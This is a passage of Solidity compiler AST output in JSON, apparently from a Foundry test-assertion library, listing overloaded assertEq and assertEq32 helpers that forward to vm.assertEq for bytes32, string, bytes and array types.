external"}},"id":569,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3924:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":570,"nodeType":"ExpressionStatement","src":"3924:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"3835:8:1","parameters":{"id":561,"nodeType":"ParameterList","parameters":[{"constant":false,"id":556,"mutability":"mutable","name":"left","nameLocation":"3852:4:1","nodeType":"VariableDeclaration","scope":572,"src":"3844:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":555,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3844:7:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":558,"mutability":"mutable","name":"right","nameLocation":"3866:5:1","nodeType":"VariableDeclaration","scope":572,"src":"3858:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":557,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3858:7:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":560,"mutability":"mutable","name":"err","nameLocation":"3887:3:1","nodeType":"VariableDeclaration","scope":572,"src":"3873:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":559,"name":"string","nodeType":"ElementaryTypeName","src":"3873:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3843:48:1"},"returnParameters":{"id":562,"nodeType":"ParameterList","parameters":[],"src":"3914:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":585,"nodeType":"FunctionDefinition","src":"3966:109:1","nodes":[],"body":{"id":584,"nodeType":"Block","src":"4037:38:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":580,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":574,"src":"4056:4:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":581,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":576,"src":"4062:5:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":579,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":554,"src":"4047:8:1","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes32_$_t_bytes32_$returns$__$","typeString":"function (bytes32,bytes32) pure"}},"id":582,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4047:21:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":583,"nodeType":"ExpressionStatement","src":"4047:21:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq32","nameLocation":"3975:10:1","parameters":{"id":577,"nodeType":"ParameterList","parameters":[{"constant":false,"id":574,"mutability":"mutable","name":"left","nameLocation":"3994:4:1","nodeType":"VariableDeclaration","scope":585,"src":"3986:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":573,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3986:7:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":576,"mutability":"mutable","name":"right","nameLocation":"4008:5:1","nodeType":"VariableDeclaration","scope":585,"src":"4000:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":575,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4000:7:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"3985:29:1"},"returnParameters":{"id":578,"nodeType":"ParameterList","parameters":[],"src":"4037:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":601,"nodeType":"FunctionDefinition","src":"4081:133:1","nodes":[],"body":{"id":600,"nodeType":"Block","src":"4171:43:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":595,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":587,"src":"4190:4:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":596,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":589,"src":"4196:5:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":597,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":591,"src":"4203:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":594,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":572,"src":"4181:8:1","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes32_$_t_bytes32_$_t_string_memory_ptr_$returns$__$","typeString":"function (bytes32,bytes32,string memory) pure"}},"id":598,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4181:26:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":599,"nodeType":"ExpressionStatement","src":"4181:26:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq32","nameLocation":"4090:10:1","parameters":{"id":592,"nodeType":"ParameterList","parameters":[{"constant":false,"id":587,"mutability":"mutable","name":"left","nameLocation":"4109:4:1","nodeType":"VariableDeclaration","scope":601,"src":"4101:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":586,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4101:7:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":589,"mutability":"mutable","name":"right","nameLocation":"4123:5:1","nodeType":"VariableDeclaration","scope":601,"src":"4115:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":588,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4115:7:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":591,"mutability":"mutable","name":"err","nameLocation":"4144:3:1","nodeType":"VariableDeclaration","scope":601,"src":"4130:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":590,"name":"string","nodeType":"ElementaryTypeName","src":"4130:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4100:48:1"},"returnParameters":{"id":593,"nodeType":"ParameterList","parameters":[],"src":"4171:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":616,"nodeType":"FunctionDefinition","src":"4220:122:1","nodes":[],"body":{"id":615,"nodeType":"Block","src":"4301:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":611,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":603,"src":"4323:4:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":612,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":605,"src":"4329:5:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":608,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"4311:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":610,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4314:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13727,"src":"4311:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory,string memory) pure external"}},"id":613,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4311:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":614,"nodeType":"ExpressionStatement","src":"4311:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"4229:8:1","parameters":{"id":606,"nodeType":"ParameterList","parameters":[{"constant":false,"id":603,"mutability":"mutable","name":"left","nameLocation":"4252:4:1","nodeType":"VariableDeclaration","scope":616,"src":"4238:18:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":602,"name":"string","nodeType":"ElementaryTypeName","src":"4238:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":605,"mutability":"mutable","name":"right","nameLocation":"4272:5:1","nodeType":"VariableDeclaration","scope":616,"src":"4258:19:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":604,"name":"string","nodeType":"ElementaryTypeName","src":"4258:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4237:41:1"},"returnParameters":{"id":607,"nodeType":"ParameterList","parameters":[],"src":"4301:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":634,"nodeType":"FunctionDefinition","src":"4348:146:1","nodes":[],"body":{"id":633,"nodeType":"Block","src":"4448:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":628,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":618,"src":"4470:4:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":629,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":620,"src":"4476:5:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":630,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":622,"src":"4483:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":625,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"4458:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":627,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4461:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13737,"src":"4458:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory,string memory,string memory) pure external"}},"id":631,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4458:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":632,"nodeType":"ExpressionStatement","src":"4458:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"4357:8:1","parameters":{"id":623,"nodeType":"ParameterList","parameters":[{"constant":false,"id":618,"mutability":"mutable","name":"left","nameLocation":"4380:4:1","nodeType":"VariableDeclaration","scope":634,"src":"4366:18:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":617,"name":"string","nodeType":"ElementaryTypeName","src":"4366:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":620,"mutability":"mutable","name":"right","nameLocation":"4400:5:1","nodeType":"VariableDeclaration","scope":634,"src":"4386:19:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":619,"name":"string","nodeType":"ElementaryTypeName","src":"4386:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":622,"mutability":"mutable","name":"err","nameLocation":"4421:3:1","nodeType":"VariableDeclaration","scope":634,"src":"4407:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":621,"name":"string","nodeType":"ElementaryTypeName","src":"4407:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4365:60:1"},"returnParameters":{"id":624,"nodeType":"ParameterList","parameters":[],"src":"4448:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":649,"nodeType":"FunctionDefinition","src":"4500:120:1","nodes":[],"body":{"id":648,"nodeType":"Block","src":"4579:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":644,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":636,"src":"4601:4:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":645,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":638,"src":"4607:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":641,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"4589:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":643,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4592:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13745,"src":"4589:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes_memory_ptr_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory,bytes memory) pure external"}},"id":646,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4589:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":647,"nodeType":"ExpressionStatement","src":"4589:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"4509:8:1","parameters":{"id":639,"nodeType":"ParameterList","parameters":[{"constant":false,"id":636,"mutability":"mutable","name":"left","nameLocation":"4531:4:1","nodeType":"VariableDeclaration","scope":649,"src":"4518:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":635,"name":"bytes","nodeType":"ElementaryTypeName","src":"4518:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":638,"mutability":"mutable","name":"right","nameLocation":"4550:5:1","nodeType":"VariableDeclaration","scope":649,"src":"4537:18:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":637,"name":"bytes","nodeType":"ElementaryTypeName","src":"4537:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"4517:39:1"},"returnParameters":{"id":640,"nodeType":"ParameterList","parameters":[],"src":"4579:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":667,"nodeType":"FunctionDefinition","src":"4626:144:1","nodes":[],"body":{"id":666,"nodeType":"Block","src":"4724:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":661,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":651,"src":"4746:4:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":662,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":653,"src":"4752:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":663,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":655,"src":"4759:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":658,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"4734:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":660,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4737:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13755,"src":"4734:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes_memory_ptr_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (bytes memory,bytes memory,string memory) pure external"}},"id":664,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4734:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":665,"nodeType":"ExpressionStatement","src":"4734:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"4635:8:1","parameters":{"id":656,"nodeType":"ParameterList","parameters":[{"constant":false,"id":651,"mutability":"mutable","name":"left","nameLocation":"4657:4:1","nodeType":"VariableDeclaration","scope":667,"src":"4644:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":650,"name":"bytes","nodeType":"ElementaryTypeName","src":"4644:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":653,"mutability":"mutable","name":"right","nameLocation":"4676:5:1","nodeType":"VariableDeclaration","scope":667,"src":"4663:18:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":652,"name":"bytes","nodeType":"ElementaryTypeName","src":"4663:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":655,"mutability":"mutable","name":"err","nameLocation":"4697:3:1","nodeType":"VariableDeclaration","scope":667,"src":"4683:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":654,"name":"string","nodeType":"ElementaryTypeName","src":"4683:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4643:58:1"},"returnParameters":{"id":657,"nodeType":"ParameterList","parameters":[],"src":"4724:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":684,"nodeType":"FunctionDefinition","src":"4776:122:1","nodes":[],"body":{"id":683,"nodeType":"Block","src":"4857:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":679,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":670,"src":"4879:4:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"}},{"id":680,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":673,"src":"4885:5:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"},{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"}],"expression":{"id":676,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"4867:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":678,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4870:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13765,"src":"4867:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_array$_t_bool_$dyn_memory_ptr_$_t_array$_t_bool_$dyn_memory_ptr_$returns$__$","typeString":"function (bool[] memory,bool[] memory) pure external"}},"id":681,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4867:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":682,"nodeType":"ExpressionStatement","src":"4867:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"4785:8:1","parameters":{"id":674,"nodeType":"ParameterList","parameters":[{"constant":false,"id":670,"mutability":"mutable","name":"left","nameLocation":"4808:4:1","nodeType":"VariableDeclaration","scope":684,"src":"4794:18:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":668,"name":"bool","nodeType":"ElementaryTypeName","src":"4794:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":669,"nodeType":"ArrayTypeName","src":"4794:6:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"},{"constant":false,"id":673,"mutability":"mutable","name":"right","nameLocation":"4828:5:1","nodeType":"VariableDeclaration","scope":684,"src":"4814:19:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":671,"name":"bool","nodeType":"ElementaryTypeName","src":"4814:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":672,"nodeType":"ArrayTypeName","src":"4814:6:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"4793:41:1"},"returnParameters":{"id":675,"nodeType":"ParameterList","parameters":[],"src":"4857:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":704,"nodeType":"FunctionDefinition","src":"4904:146:1","nodes":[],"body":{"id":703,"nodeType":"Block","src":"5004:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":698,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":687,"src":"5026:4:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"}},{"id":699,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":690,"src":"5032:5:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"}},{"id":700,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":692,"src":"5039:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"},{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":695,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"5014:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":697,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5017:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13777,"src":"5014:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_array$_t_bool_$dyn_memory_ptr_$_t_array$_t_bool_$dyn_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool[] memory,bool[] memory,string memory) pure external"}},"id":701,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5014:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":702,"nodeType":"ExpressionStatement","src":"5014:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"4913:8:1","parameters":{"id":693,"nodeType":"ParameterList","parameters":[{"constant":false,"id":687,"mutability":"mutable","name":"left","nameLocation":"4936:4:1","nodeType":"VariableDeclaration","scope":704,"src":"4922:18:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":685,"name":"bool","nodeType":"ElementaryTypeName","src":"4922:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":686,"nodeType":"ArrayTypeName","src":"4922:6:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"},{"constant":false,"id":690,"mutability":"mutable","name":"right","nameLocation":"4956:5:1","nodeType":"VariableDeclaration","scope":704,"src":"4942:19:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":688,"name":"bool","nodeType":"ElementaryTypeName","src":"4942:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":689,"nodeType":"ArrayTypeName","src":"4942:6:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"},{"constant":false,"id":692,"mutability":"mutable","name":"err","nameLocation":"4977:3:1","nodeType":"VariableDeclaration","scope":704,"src":"4963:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":691,"name":"string","nodeType":"ElementaryTypeName","src":"4963:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4921:60:1"},"returnParameters":{"id":694,"nodeType":"ParameterList","parameters":[],"src":"5004:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":721,"nodeType":"FunctionDefinition","src":"5056:128:1","nodes":[],"body":{"id":720,"nodeType":"Block","src":"5143:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":716,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":707,"src":"5165:4:1","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[] memory"}},{"id":717,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":710,"src":"5171:5:1","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[] memory"},{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[] memory"}],"expression":{"id":713,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"5153:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract 